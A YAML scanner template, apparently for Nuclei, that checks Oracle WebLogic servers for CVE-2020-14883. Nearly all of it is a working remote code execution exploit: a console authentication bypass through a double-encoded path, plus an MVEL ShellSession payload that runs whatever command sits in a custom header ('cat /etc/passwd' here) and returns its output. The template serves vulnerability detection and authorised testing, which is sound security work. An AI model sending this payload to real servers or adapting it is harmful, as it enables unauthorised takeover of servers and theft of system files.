33 lines
2.2 KiB
YAML
33 lines
2.2 KiB
YAML
id: CVE-2020-14883
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info:
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name: Oracle WebLogic Server Administration Console Handle RCE
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author: pdteam
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severity: critical
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description: Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
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reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
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tags: cve,cve2020,oracle,rce,weblogic
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requests:
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- method: POST
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path:
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- "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal"
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headers:
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Content-Type: application/x-www-form-urlencoded
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Test-Header: cat /etc/passwd
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body: |
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test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("Test-Header");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0"
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condition: and
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- type: status
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status:
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- 200
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